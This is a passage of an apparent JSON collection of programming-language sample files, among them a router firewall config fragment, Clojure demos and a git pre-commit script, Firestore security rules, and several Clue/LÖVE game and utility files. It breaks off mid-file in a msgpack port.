// ssh\n                                    firewall[1] -> ip_to_host; // smtp\n                                    firewall[2] -> ip_to_host; // domain (t)\n                                    firewall[3] -> ip_to_host; // domain (u)\n                                    firewall[4] -> [0]irw;     // icmp reply\n                                    firewall[5] -> [0]ierw;    // other icmp\n                                    firewall[6] -> ip_to_host; // port > 4095, probably for connection\n                                                               // originating from host itself\n                                    firewall[7] -> Discard;    // don't allow incoming for port <= 4095\n\n        // established connection\n        established_class[1] -> ip_to_intern;\n\n// To eth0-in.  Only accept from inside network.\nipclass[1] -> IPClassifier(src net eth0-in) -> ip_to_host;\n\n// Packets from eth0-in:net either stay on local network or go to the wild.\n// Those that go into the wild need to go through the appropriate rewriting\n// element.  (Either UDP/TCP rewriter or ICMP rewriter.)\nipclass[2] -> inter_class :: IPClassifier(dst net eth0-in, -);\n              inter_class[0] -> ip_to_intern;\n              inter_class[1] -> ip_udp_class :: IPClassifier(tcp or udp,\n                                                             icmp type echo);\n                                ip_udp_class[0] -> [0]rw;\n                                ip_udp_class[1] -> [0]irw;\n"
  },
  {
    "path": "samples/Clojure/build.boot",
    "content": ";; from: https://github.com/boot-clj/boot#configure-task-options\n\n(set-env!\n  :source-paths #{\"src\"}\n  :dependencies '[[me.raynes/conch \"0.8.0\"]])\n\n(task-options!\n  pom {:project 'my-project\n       :version \"0.1.0\"}\n  jar {:manifest {\"Foo\" \"bar\"}})\n\n(deftask build\n  \"Build my project.\"\n  []\n  (comp (pom) (jar) (install)))\n"
  },
  {
    "path": "samples/Clojure/for.clj",
    "content": "(defn prime? [n]\n   (not-any? zero? (map #(rem n %) (range 2 n))))\n\n(range 3 33 2)\n'(3 5 7 9 11 13 15 17 19 21 23 25 27 29 31)\n\n;; :when continues through the collection even if some have the\n;; condition evaluate to false, like filter\n(for [x (range 3 33 2) :when (prime? x)]\n   x)\n'(3 5 7 11 13 17 19 23 29 31)\n\n;; :while stops at the first collection element that evaluates to\n;; false, like take-while\n(for [x (range 3 33 2) :while (prime? x)]\n   x)\n'(3 5 7)\n"
  },
  {
    "path": "samples/Clojure/hiccup.hic",
    "content": "[:html\n [:head\n  [:meta {:charset \"utf-8\"}]\n  [:link {:rel \"stylesheet\" :href \"css/bootstrap.min.css\"}]\n  [:script {:src \"app.js\"}]]\n [:body\n  [:div.nav\n   [:p \"Hello world!\"]]]]\n"
  },
  {
    "path": "samples/Clojure/index.cljs.hl",
    "content": ";; Copyright (c) Alan Dipert and Micha Niskin. All rights reserved.\n;; The use and distribution terms for this software are covered by the\n;; Eclipse Public License 1.0 (http://opensource.org/licenses/eclipse-1.0.php)\n;; which can be found in the file epl-v10.html at the root of this distribution.\n;; By using this software in any fashion, you are agreeing to be bound by\n;; the terms of this license.\n;; You must not remove this notice, or any other, from this software.\n\n(page \"index.html\"\n  (:refer-clojure :exclude [nth])\n  (:require\n   [tailrecursion.hoplon.reload        :refer [reload-all]]\n   [tailrecursion.hoplon.util          :refer [nth name pluralize]]\n   [tailrecursion.hoplon.storage-atom  :refer [local-storage]]))\n\n;; utility functions ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(declare route state editing)\n\n(reload-all)\n\n(def mapvi  (comp vec map-indexed))\n\n(defn dissocv [v i]\n  (let [z (- (dec (count v)) i)]\n    (cond (neg?  z) v\n          (zero? z) (pop v)\n          (pos?  z) (into (subvec v 0 i) (subvec v (inc i))))))\n\n(defn decorate [todo route editing i]\n  (let [{done? :completed text :text} todo]\n    (-> todo (assoc :editing (= editing i)\n                    :visible (and (not (empty? text))\n                                  (or (= \"#/\" route)\n                                      (and (= \"#/active\" route) (not done?))\n                                      (and (= \"#/completed\" route) done?)))))))\n\n;; persisted state cell (AKA: stem cell) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(def   state        (-> (cell []) (local-storage ::store)))\n\n;; local state cells ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(defc  loaded?      false)\n(defc  editing      nil)\n(def   route        (route-cell \"#/\"))\n\n;; formula cells (computed state) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(defc= completed    (filter :completed state))\n(defc= active       (remove :completed state))\n(defc= plural-item  (pluralize \"item\" (count active)))\n(defc= todos        (mapvi #(list %1 (decorate %2 route editing %1)) state))\n\n;; state transition functions ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(defn  todo        [t]   {:completed false :text t})\n(defn  destroy!    [i]   (swap! state dissocv i))\n(defn  done!       [i v] (swap! state assoc-in [i :completed] v))\n(defn  clear-done! [& _] (swap! state #(vec (remove :completed %))))\n(defn  new!        [t]   (when (not (empty? t)) (swap! state conj (todo t))))\n(defn  all-done!   [v]   (swap! state #(mapv (fn [x] (assoc x :completed v)) %)))\n(defn  editing!    [i v] (reset! editing (if v i nil)))\n(defn  text!       [i v] (if (empty? v) (destroy! i) (swap! state assoc-in [i :text] v)))\n\n;; page ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n\n(html :lang \"en\"\n  (head\n    (meta :charset \"utf-8\")\n    (meta :http-equiv \"X-UA-Compatible\" :content \"IE=edge,chrome=1\")\n    (link :rel \"stylesheet\" :href \"base.css\")\n    (title \"Hoplon • TodoMVC\"))\n  (body\n    (noscript\n      (div :id \"noscript\"\n        (p \"JavaScript is required to view this page.\")))\n    (div\n      (section :id \"todoapp\"\n        (header :id \"header\"\n          (h1 \"todos\")\n          (form :on-submit #(do (new! (val-id :new-todo))\n                                (do! (by-id :new-todo) :value \"\"))\n            (input\n              :id \"new-todo\"\n              :type \"text\"\n              :autofocus true\n              :placeholder \"What needs to be done?\"\n              :on-blur #(do! (by-id :new-todo) :value \"\"))))\n        (section\n          :id \"main\"\n          :do-toggle (cell= (not (and (empty? active) (empty? completed))))\n          (input\n            :id \"toggle-all\"\n            :type \"checkbox\"\n            :do-attr (cell= {:checked (empty? active)}) \n            :on-click #(all-done! (val-id :toggle-all)))\n          (label :for \"toggle-all\"\n            \"Mark all as complete\")\n          (ul :id \"todo-list\"\n            (loop-tpl\n              :reverse true\n              :bind-ids [done# edit#]\n              :bindings [[i {edit? :editing done? :completed todo-text :text show? :visible}] todos] \n              (li\n                :do-class (cell= {:completed done? :editing edit?}) \n                :do-toggle show?\n                (div :class \"view\" :on-dblclick #(editing! @i true)\n                  (input\n                    :id done# \n                    :type \"checkbox\"\n                    :class \"toggle\"\n                    :do-attr (cell= {:checked done?}) \n                    :on-click #(done! @i (val-id done#)))\n                  (label (text \"~{todo-text}\"))\n                  (button\n                    :type \"submit\"\n                    :class \"destroy\"\n                    :on-click  #(destroy! @i)))\n                (form :on-submit #(editing! @i false)\n                  (input\n                    :id edit#\n                    :type \"text\"\n                    :class \"edit\"\n                    :do-value todo-text\n                    :do-focus edit?\n                    :on-blur #(when @edit? (editing! @i false))\n                    :on-change #(when @edit? (text! @i (val-id edit#)))))))))\n        (footer \n          :id \"footer\"\n          :do-toggle (cell= (not (and (empty? active) (empty? completed))))\n          (span :id \"todo-count\"\n            (strong (text \"~(count active) \"))\n            (span (text \"~{plural-item} left\")))\n          (ul :id \"filters\"\n            (li (a :href \"#/\"          :do-class (cell= {:selected (= \"#/\" route)})          \"All\"))\n            (li (a :href \"#/active\"    :do-class (cell= {:selected (= \"#/active\" route)})    \"Active\"))\n            (li (a :href \"#/completed\" :do-class (cell= {:selected (= \"#/completed\" route)}) \"Completed\")))\n          (button\n            :type      \"submit\"\n            :id        \"clear-completed\"\n            :on-click  #(clear-done!)\n            (text \"Clear completed (~(count completed))\"))))\n      (footer :id \"info\" \n        (p \"Double-click to edit a todo\")\n        (p \"Part of \" (a :href \"http://github.com/tailrecursion/hoplon-demos/\" \"hoplon-demos\")))))) \n"
  },
  {
    "path": "samples/Clojure/into-array.cljc",
    "content": "(defn into-array\n  ([aseq]\n     (into-array nil aseq))\n  ([type aseq]\n     (let [n (count aseq)\n           a (make-array n)]\n       (loop [aseq (seq aseq)\n              i 0]\n         (if (< i n)\n           (do\n             (aset a i (first aseq))\n             (recur (next aseq) (inc i)))\n           a)))))\n"
  },
  {
    "path": "samples/Clojure/protocol.cljs",
    "content": "(defprotocol ISound (sound []))\n \n(deftype Cat []\n  ISound\n  (sound [_] \"Meow!\"))\n \n(deftype Dog []\n  ISound\n  (sound [_] \"Woof!\"))\n \n(extend-type default\n  ISound\n  (sound [_] \"... silence ...\"))\n \n(sound 1) ;; => \"... silence ...\"\n"
  },
  {
    "path": "samples/Clojure/rand.cljscm",
    "content": "(defn rand\n  \"Returns a random floating point number between 0 (inclusive) and\n  n (default 1) (exclusive).\"\n  ([] (scm* [n] (random-real)))\n  ([n] (* (rand) n)))"
  },
  {
    "path": "samples/Clojure/svg.cljx",
    "content": "^:clj (ns c2.svg\n        (:use [c2.core :only [unify]]\n              [c2.maths :only [Pi Tau radians-per-degree\n                               sin cos mean]]))\n\n^:cljs (ns c2.svg\n         (:use [c2.core :only [unify]]\n               [c2.maths :only [Pi Tau radians-per-degree\n                                sin cos mean]])\n         (:require [c2.dom :as dom]))\n\n;;Stub for float fn, which does not exist on cljs runtime\n^:cljs (def float identity)\n\n(defn ->xy\n  \"Convert coordinates (potentially map of `{:x :y}`) to 2-vector.\"\n  [coordinates]\n  (cond\n   (and (vector? coordinates) (= 2 (count coordinates))) coordinates\n   (map? coordinates) [(:x coordinates) (:y coordinates)]))\n"
  },
  {
    "path": "samples/Clojure/unit-test.cl2",
    "content": "(deftest function-tests\n  (is (= 3\n         (count [1 2 3])))\n  (is (= false\n         (not true)))\n  (is (= true\n         (contains? {:foo 1 :bar 2} :foo)))\n\n  (is (= {\"foo\" 1, \"baz\" 3}\n         (select-keys {:foo 1 :bar 2 :baz 3} [:foo :baz])))\n\n  (is (= [1 2 3]\n         (vals {:foo 1 :bar 2 :baz 3})))\n\n  (is (= [\"foo\" \"bar\" \"baz\"]\n         (keys {:foo 1 :bar 2 :baz 3})))\n\n  (is (= [2 4 6]\n         (filter (fn [x] (=== (rem x 2) 0)) [1 2 3 4 5 6]))))\n\n"
  },
  {
    "path": "samples/Clojure/validate-and-format.bb",
    "content": "#!/usr/bin/env bb\n\n(def filter-regex \"\\\\.(clj\\\\|cljs\\\\|cljc)$\")\n\n(defn clojure-source? [path]\n  (re-find #\"\\.(clj|cljs|cljc)$\" path))\n\n(defn modified-files []\n  (-> (shell/sh \"git\" \"diff\" \"--cached\" \"--name-only\" \"--diff-filter=ACMR\")\n      :out\n      (str/split #\"\\n\")))\n\n(defn lint-valid? [paths]\n  (apply shell/sh \"clj-kondo\" \"--lint\" paths))\n\n(defn native-cljstyle? []\n  (-> (shell/sh \"which\" \"cljstyle\") :exit zero?))\n\n(defn format-files [paths]\n  (if (native-cljstyle?)\n    (do\n      (println \"Using native cljstyle...\")\n      (apply shell/sh \"cljstyle\" \"fix\" paths))\n    (do\n      (println \"Using cljstyle from clojure deps...\")\n      (apply shell/sh \"clojure\" \"-A:format\" \"fix\" paths))))\n\n(defn update-file-index\n  \"Add unstaged modifications to git, so they get to be part of the current commit.\"\n  [path]\n  (let [hash (:out (shell/sh \"git\" \"hash-object\" \"-w\" path))]\n    (shell/sh \"git\" \"update-index\" \"--add\" \"--cacheinfo\" \"100644\" hash path)))\n\n(let [paths (->> (modified-files)\n                 (filter clojure-source?))]\n  (when (seq paths)\n    (format-files paths)\n\n    (doseq [path paths]\n      (update-file-index path))\n\n    (let [{:keys [exit out]} (lint-valid? paths)]\n      (when-not (= 0 exit)\n        (println \"Lint failed.\\n\" out)\n        (System/exit 1)))))\n"
  },
  {
    "path": "samples/Closure Templates/example.soy",
    "content": "{namespace Exmaple}\n\n/**\n * Example\n */\n{template .foo}\n  {@param count: string}\n  {@param? name: int}\n\n  {if isNonnull($name)}\n    <h1>{$name}</h1>\n  {/if}\n\n  <div class=\"content\">\n    {switch count}\n      {case 0}\n        {call Empty.view}\n          {param count: $count /}\n        {/call}\n      {default}\n        <h2>Wow, so many!</h2>\n    {/switch}\n  </div>\n{/template}\n"
  },
  {
    "path": "samples/Cloud Firestore Security Rules/filenames/firestore.rules",
    "content": "service cloud.firestore {\n  match /databases/{database}/documents {\n    match /activities/{activity} {\n\n      allow create: if isSignedIn()\n                    && isOwner(incomingData().authorId)\n                    && isValidActivity(incomingData())\n                    && hasAllowedActivityFieldsForCreate(incomingData());\n\n      allow read, delete: if isSignedIn()\n                          && isOwner(existingData().authorId);\n\n      allow update: if isSignedIn()\n                    && isOwner(existingData().authorId)\n                    && isValidActivity(incomingData())\n                    && hasAllowedActivityFieldsForUpdate(incomingData());\n\n    }\n    match /skills/{skill} {\n\n      allow create: if isSignedIn()\n                    && isOwner(incomingData().authorId)\n                    && isValidSkill(incomingData())\n                    && hasAllowedSkillFieldsForCreate(incomingData());\n\n      allow read, delete: if isSignedIn()\n                          && isOwner(existingData().authorId);\n\n      allow update: if isSignedIn()\n                    && isOwner(existingData().authorId)\n                    && isValidSkill(incomingData())\n                    && hasAllowedSkillFieldsForUpdate(incomingData());\n\n    }\n    match /activities-skills/{activitySkill} {\n\n      allow create: if isSignedIn()\n                    && isOwner(incomingData().authorId)\n                    && isValidActivitySkill(incomingData())\n                    && hasAllowedActivitySkillFieldsForCreate(incomingData());\n\n      allow read, delete: if isSignedIn()\n                          && isOwner(existingData().authorId);\n\n      allow update: if isSignedIn()\n                    && isOwner(existingData().authorId)\n                    && isValidActivitySkill(incomingData())\n                    && hasAllowedActivitySkillFieldsForUpdate(incomingData());\n\n    }\n     /// Functions ///\n    function isSignedIn() {\n      return request.auth != null;\n    }\n    function isOwner(userId) {\n      return request.auth.uid == userId;\n    }\n    function existingData() {\n      return resource.data;\n    }\n    function incomingData() {\n      return request.resource.data;\n    }\n    function isValidActivity(activity) {\n      return activity.title is string\n      \t&& activity.title.size() > 3\n        && activity.title.size() < 250\n        && activity.summary is string\n        && (activity.audienceCountMin is int || activity.audienceCountMin == null)\n        && (activity.audienceCountMax is int || activity.audienceCountMax == null)\n        && (activity.audienceAgeMin is int || activity.audienceAgeMin == null)\n        && (activity.audienceAgeMax is int || activity.audienceAgeMax == null)\n        && activity.lastUpdateDate.date() is timestamp;\n    }\n    function hasAllowedActivityFieldsForUpdate(activity) {\n      return activity.keys().size() == 9 && activity.keys().hasAll(['authorId', 'title', 'summary', 'audienceCountMin', 'audienceCountMax', 'audienceAgeMin', 'audienceAgeMax', 'lastUpdateDate']);\n    }\n    function hasAllowedActivityFieldsForCreate(activity) {\n      return activity.keys().size() == 8 && activity.keys().hasAll(['authorId', 'title', 'summary', 'audienceCountMin', 'audienceCountMax', 'audienceAgeMin', 'audienceAgeMax', 'lastUpdateDate']);\n    }\n\n    function isValidSkill(skill) {\n      return skill.title is string\n        && skill.title.size() > 3\n        && skill.title.size() < 250\n        && skill.summary is string\n        && skill.lastUpdateDate.date() is timestamp;\n    }\n    function hasAllowedSkillFieldsForUpdate(skill) {\n      return skill.keys().size() == 5 && skill.keys().hasAll(['authorId', 'title', 'summary', 'lastUpdateDate']);\n    }\n    function hasAllowedSkillFieldsForCreate(skill) {\n      return skill.keys().size() == 4 && skill.keys().hasAll(['authorId', 'title', 'summary', 'lastUpdateDate']);\n    }\n    function isValidActivitySkill(activitySkill) {\n      return activitySkill.skillId is string\n        && activitySkill.activityId is string;\n    }\n    function hasAllowedActivitySkillFieldsForUpdate(activitySkill) {\n      return activitySkill.keys().size() == 4 && activitySkill.keys().hasAll(['authorId', 'skillId', 'activityId']);\n    }\n    function hasAllowedActivitySkillFieldsForCreate(activitySkill) {\n      return activitySkill.keys().size() == 3 && activitySkill.keys().hasAll(['authorId', 'skillId', 'activityId']);\n    }\n  }\n}\n"
  },
  {
    "path": "samples/Clue/game.clue",
    "content": "static score, mistakes = 0, 1\nstatic hackamount, hacked = 0.5\n\nlocal terminal = import(\"terminal\")\n\nlocal names = {}\n\nlocal i = 1\nfor name with love.filesystem.lines(\"assets/names.txt\") {\n\tnames[i] = name\n\ti += 1\n}\n\nlocal commands\nlocal seed2 = love.math.random(10, 10000) \n\nlocal fn EntryCode(seed) {\n\tlocal rng = love.math.newRandomGenerator((seed2 + math.floor(leveltime / 30)) * 10 + seed)\n\tlocal code = \"\"\n\tfor _ = 1, 20 {\n\t\tcode ..= string.char(rng::random(33, 122))\n\t}\n\treturn code\n}\n\nlocal fn GenerateIP(hacker) {\n\treturn math.ceil(math.abs(love.math.randomNormal(75, 128)) % (hacker ? 256 : 1000))\n}\n\nlocal user = {\n\tnew = fn(self) {\n\t\tlocal hacker = love.math.random() > 0.8\n\t\tself.ip1 = GenerateIP(hacker)\n\t\tself.ip2 = GenerateIP(hacker)\n\t\tself.ip3 = GenerateIP(hacker)\n\t\tself.ip4 = GenerateIP(hacker)\n\t\tself.glitch = self.ip1 > 255 || self.ip2 > 255 || self.ip3 > 255 || self.ip4 > 255\n\t\tself.name = names[love.math.random(6000)]\n\t\tself.age = math.floor((hacker || self.glitch) ? love.math.random(14, 79) : love.math.random(9, 145))\n\t\tself.code = hacker ? love.math.random(-20, -1) : love.math.random(0, 9)\n\t\tself.time = leveltime\n\t\tself.hacker = hacker\n\t}\n\tnext = fn(self) {\n\t\tcommands.score.code()\n\t\tterminal::write(\"Reading next user's information...\", 15)\n\t\tself::new()\n\t\tcommands.user.code(4)\n\t}\n}\n\nuser::new()\n\nlocal fn AwardScore(amount) {\n\tif amount < 0 {\n\t\tamount = math.ceil($ * mistakes)\n\t\tterminal::write(string.format(\"(%d points)\", amount), 60, 1, 0, 0)\n\t\tmistakes += 0.5\n\t} else {\n\t\tterminal::write(string.format(\"(+%d points)\", amount), 60, 1, 1, 0)\n\t}\n\tscore += amount\n}\n\ncommands = {\n\tscore = {\n\t\tdesc = \"Display current score.\"\n\t\tcode = fn {\n\t\t\tterminal::write(\"Score: \" .. score, nil, 1, 0, 1)\n\t\t\tlocal mistakes = (mistakes - 1) * 2\n\t\t\tif mistakes == 0 {\n\t\t\t\tterminal::write(\"You never messed up so far.\", nil, 1, 0, 1)\n\t\t\t} else {\n\t\t\t\tterminal::write(\"You messed up \" .. mistakes .. \" times.\", nil, 1, 0, 1)\n\t\t\t}\n\t\t}\n\t}\n\tuser = {\n\t\tdesc = \"Display the info of the user trying to connect.\"\n\t\tcode = fn(s = 0) {\n\t\t\tterminal::write(\"Name: \" .. user.name, 60, 1, 1, 0)\n\t\t\tterminal::write(\"Age: \" .. user.age, 60, 1, 1, 0)\n\t\t\tterminal::write(string.format(\"IP: %d.%d.%d.%d\", user.ip1, user.ip2, user.ip3, user.ip4), 60, 1, 1, 0)\n\t\t\tterminal::write(string.format(\n\t\t\t\t\"Entry Code: %s   (changes in %d seconds)\",\n\t\t\t\tEntryCode(user.code),\n\t\t\t\tmath.max(29 - math.floor(leveltime % 30) - s, 0)\n\t\t\t), 60, 1, 1, 0)\n\t\t}\n\t}\n\tcodes = {\n\t\tdesc = \"Display the 10 currently valid codes.\"\n\t\tcode = fn {\n\t\t\tterminal::write(\"Currently valid codes:\")\n\t\t\tfor i = 0, 9 {\n\t\t\t\tterminal::write(EntryCode(i), 60, 1, 1, 0)\n\t\t\t}\n\t\t\tterminal::write(string.format(\n\t\t\t\t\"The codes will change in %d seconds.\",\n\t\t\t\t29 - math.floor(leveltime % 30)\n\t\t\t))\n\t\t}\n\t}\n\tallow = {\n\t\tdesc = \"Allow the current user.\"\n\t\tcode = fn {\n\t\t\tterminal::write(user.name .. \" was allowed connection...\", 10)\n\t\t\tif user.hacker {\n\t\t\t\tterminal::write(\"But they were an hacker!\", 60, 1, 0, 0)\n\t\t\t\thacked = leveltime + 0.5\n\t\t\t\tmistakes += 0.5\n\t\t\t\terrors = 2\n\t\t\t\tuser::new()\n\t\t\t\treturn\n\t\t\t} elseif user.glitch {\n\t\t\t\tterminal::write(\"But they were a glitch!\", 60, 1, 0, 0)\n\t\t\t\tAwardScore(math.min(score / -2.5, -500))\n\t\t\t\terrors = 1\n\t\t\t} elseif user.age < 14 {\n\t\t\t\tterminal::write(\"But they were too young to join.\", 60, 1, 0, 0)\n\t\t\t\tAwardScore(-300)\n\t\t\t} elseif user.age >= 80 {\n\t\t\t\tterminal::write(\"But they were a troll.\", 60, 1, 0, 0)\n\t\t\t\tAwardScore(-200)\n\t\t\t} else {\n\t\t\t\tterminal::write(\"And that was the correct choice!\", 60, 1, 1, 0)\n\t\t\t\tAwardScore(math.max(500 + math.floor((user.time - leveltime) * 20), 10))\n\t\t\t}\n\t\t\tuser::next()\n\t\t}\n\t}\n\tdeny = {\n\t\tdesc = \"Deny the current user.\"\n\t\tcode = fn {\n\t\t\tterminal::write(user.name .. \" was denied connection...\", 10)\n\t\t\tif !user.hacker && !user.glitch && user.age >= 14 && user.age < 80 {\n\t\t\t\tterminal::write(\"But they had no bad intentions.\", 60, 1, 0, 0)\n\t\t\t\tAwardScore(-500)\n\t\t\t} else {\n\t\t\t\tterminal::write(\"And that was the correct choice!\", 60, 1, 1, 0)\n\t\t\t\tAwardScore(math.max(300 + math.floor((user.time - leveltime) * 20), 10))\n\t\t\t}\n\t\t\tuser::next()\n\t\t}\n\t}\n}\n\nreturn commands"
  },
  {
    "path": "samples/Clue/graph.clue",
    "content": "io.stdout::setvbuf(\"no\");\n\nimport(\"line\");\n\nmethod love.draw() {\n\tlove.graphics.print(formula, 0, 0, 0, 2);\n\tlove.graphics.translate(150, 450);\n\tlove.graphics.setColor(0.3, 0.3, 0.3);\n\tfor x = -150, 650, 10 {\n\t\tif x == 0 {continue}\n\t\tlove.graphics.line(x, 150, x, -450);\n\t}\n\tfor y = -450, 150, 10 {\n\t\tif y == 0 {continue}\n\t\tlove.graphics.line(-150, y, 650, y);\n\t}\n\tlove.graphics.setColor(1, 1, 1);\n\tlove.graphics.line(0, 150, 0, -450);\n\tlove.graphics.line(-150, 0, 650, 0);\n\tif dots {\n\t\tlove.graphics.line(dots);\n\t} else {\n\t\tlove.graphics.origin()\n\t\tlove.graphics.setColor(1, 0, 0);\n\t\tlove.graphics.printf(errormsg, 0, 300, 400, \"center\", 0, 2);\n\t}\n}\n"
  },
  {
    "path": "samples/Clue/line.clue",
    "content": "static dots, formula, errormsg;\ndots = {0, 0, 0, 0};\nformula = \"y=\";\nerrormsg = \"\";\n\nlocal utf8 = require(\"utf8\");\nlocal env = {x = 0, y = 0};\n\nfor k, v of math {\n    env[k] = v;\n}\n\nmethod love.textinput(key) {\n    formula ..= key;\n    dots = {};\n    try {\n        local formula, errormsg = loadstring(formula);\n        if !formula {error(errormsg);}\n        setfenv(formula, env);\n        for x = -150, 650 {\n            env.x = x;\n            formula();\n            table.insert(dots, env.x || 0);\n            table.insert(dots, -(env.y || 0));\n        }\n    } catch error {\n        dots = nil;\n        errormsg = error;\n    }\n}\n\nmethod love.keypressed(key) {\n    if key == \"backspace\" && utf8.len(formula) > 0 {\n        formula = ($)::sub(1, utf8.len($)-1);\n    }\n}\n"
  },
  {
    "path": "samples/Clue/main.clue",
    "content": "static font = love.graphics.newFont(\"assets/clacon2.ttf\", 24, \"mono\")\nstatic fontheight = 23 //force it to 23 cause windows and linux use different sizes...\nstatic screenheight = love.graphics.getHeight() - 10\nstatic leveltime = 0\n\nio.stdout::setvbuf(\"no\")\n\nlocal utf8 = require(\"utf8\")\nlocal terminal = import(\"terminal\")\nimport(\"player\")\n\nlocal screen = love.graphics.newCanvas()\nlocal hum = love.audio.newSource(\"assets/hum.ogg\", \"stream\")\nlocal win = love.audio.newSource(\"assets/win.ogg\", \"static\")\nlocal wrong = love.audio.newSource(\"assets/wrong.ogg\", \"static\")\n\nlove.graphics.setFont(font)\nlove.keyboard.setKeyRepeat(true)\nlove.graphics.setShader(love.graphics.newShader(\"assets/shader.glsl\"))\n\nlocal start_command = commands.start\n\nmethod love.load() {\n\tterminal::write(\"╔═╗ ╔═════╗     ╔═════╗ ╔═╗     ╔═════╗ ╔═════╗ ╔═════╗ ╔═════╗\", 400)\n\tterminal::write(\"║ ║ ║ ╔═╗ ║     ║ ╔═╗ ║ ║ ║     ║ ╔═══╝ ║ ╔═╗ ║ ║ ╔═══╝ ║ ╔═══╝\", 400)\n\tterminal::write(\"║ ║ ║ ╚═╝ ║     ║ ╚═╝ ║ ║ ║     ║ ╚═══╗ ║ ╚═╝ ║ ║ ╚═══╗ ║ ╚═══╗\", 400)\n\tterminal::write(\"║ ║ ║ ╔═══╝     ║ ╔═══╝ ║ ║     ║ ╔═══╝ ║ ╔═╗ ║ ╚═══╗ ║ ║ ╔═══╝\", 400)\n\tterminal::write(\"║ ║ ║ ║         ║ ║     ║ ╚═══╗ ║ ╚═══╗ ║ ║ ║ ║ ╔═══╝ ║ ║ ╚═══╗\", 400)\n\tterminal::write(\"╚═╝ ╚═╝         ╚═╝     ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝\", 400)\n\tterminal::write(\"A game for the LÖVE Jam 2023 - Created by Maiori\")\n\tterminal::write(\"(Type 'guide' for instructions)\")\n\thum::setLooping(true)\n\thum::setVolume(0.10)\n\thum::play()\n}\n\nmethod love.update(dt) {\n\tleveltime += dt\n\tlocal unfinished = terminal.unfinished[pointer]\n\tif unfinished {\n\t\tunfinished.progress += dt * unfinished.speed * 2\n\t\tif unfinished.progress >= #unfinished.text {\n\t\t\tunfinished.progress = nil\n\t\t\ttable.remove(terminal.unfinished, 1)\n\t\t\tlove.wheelmoved(0, -fontheight)\n\t\t\tmatch unfinished.text::sub(-7) { //this is a hacky way to do this...\n\t\t\t\t\"glitch!\" => {\n\t\t\t\t\tterminal::corrupt()\n\t\t\t\t}\n\t\t\t\t\"choice!\" => {\n\t\t\t\t\twin::play()\n\t\t\t\t}\n\t\t\t\t\"o join.\" || \" troll.\" || \"ntions.\" => {\n\t\t\t\t\twrong::play()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} elseif hacked && leveltime > hacked {\n\t\tterminal::corrupt()\n\t\thacked = leveltime + hackamount\n\t\thackamount /= 1.22\n\t\tif hackamount < 0.00000000000001 {\n\t\t\thacked = nil\n\t\t\thackamount = 0.5\n\t\t\tcommands.clear.code()\n\t\t\tsetmetatable(commands, {})\n\t\t\tcommands.restart = start_command\n\t\t\tterminal::write(\"GAME OVER\", 1, 1, 0, 0)\n\t\t\tterminal::write(\"Your server was destroyed...will you try again?\", 15, 1, 0, 0)\n\t\t\tterminal::write(\"Final Score: \" .. score, nil, 1, 0, 0)\n\t\t\tterminal::write(\"You messed up \" .. ((mistakes - 1) * 2) .. \" times.\", nil, 1, 0, 0)\n\t\t\tterminal::write(\"(Type 'restart' to try again)\", nil, 1, 0, 0)\n\t\t\tscore = 0\n\t\t\tmistakes = 1\n\t\t}\n\t}\n}\n\nglobal fn UpdateCanvas() {\n\tlove.graphics.clear()\n\tlocal y = terminal::draw()\n\tif terminal::finished() && !hacked {\n\t\tlove.graphics.setColor(0.125490196, 0.760784314, 0.054901961)\n\t\tlocal text = \"$ \" .. terminal.input[1]\n\t\tlove.graphics.print(text, 5, y)\n\t\tif math.floor(leveltime) % 2 == 0 {\n\t\t\tlove.graphics.print(\"_\", 5 + font::getWidth(text), y)\n\t\t}\t\n\t}\n}\n\nmethod love.draw() {\n\tscreen::renderTo(UpdateCanvas)\n\tlove.graphics.setColor(1, 1, 1)\n\tlove.graphics.draw(screen)\n}\n\nmethod love.resize(_, height) {\n\tscreenheight = height - 10\n\tscreen = love.graphics.newCanvas()\n\tlove.wheelmoved(0, 0)\n}"
  },
  {
    "path": "samples/Clue/msgpack.clue",
    "content": "/*\n\n\tMessagePack encoder / decoder written in Clue\n\tOriginally written in Lua by Sebastian Steinhauer <s.steinhauer@yahoo.de>\n\tForked and ported to Clue by Felice D'Angelo <https://github.com/Maiori44>\n\n\tThis is free and unencumbered software released into the public domain.\n\n\tAnyone is free to copy, modify, publish, use, compile, sell, or\n\tdistribute this software, either in source code form or as a compiled\n\tbinary, for any purpose, commercial or non-commercial, and by any\n\tmeans.\n\n\tIn jurisdictions that recognize copyright laws, the author or authors\n\tof this software dedicate any and all copyright interest in the\n\tsoftware to the public domain. We make this dedication for the benefit\n\tof the public at large and to the detriment of our heirs and\n\tsuccessors. We intend this dedication to be an overt act of\n\trelinquishment in perpetuity of all present and future rights to this\n\tsoftware under copyright law.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\tEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\tMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n\tIN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n\tOTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n\tARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n\tOTHER DEALINGS IN THE SOFTWARE.\n\n\tFor more information, please refer to <http://unlicense.org/>\n\n*/\n\n@iflua jit {\n\tlocal fn pack(...) {\n\t\treturn love.data.pack(\"string\", ...)\n\t}\n\tlocal fn unpack(...) {\n\t\treturn love.data.unpack(...)\n\t}\n\tlocal fn mtype(x) {\n\t\tif type(x) != \"number\" {\n\t\t\treturn\n\t\t} elseif x == math.floor(x) {\n\t\t\treturn \"integer\"\n\t\t} else {\n\t\t\treturn \"float\"\n\t\t}\n\t}\n\tlocal utf8len = require(\"utf8\").len\n\tlocal tconcat, tunpack = table.concat, 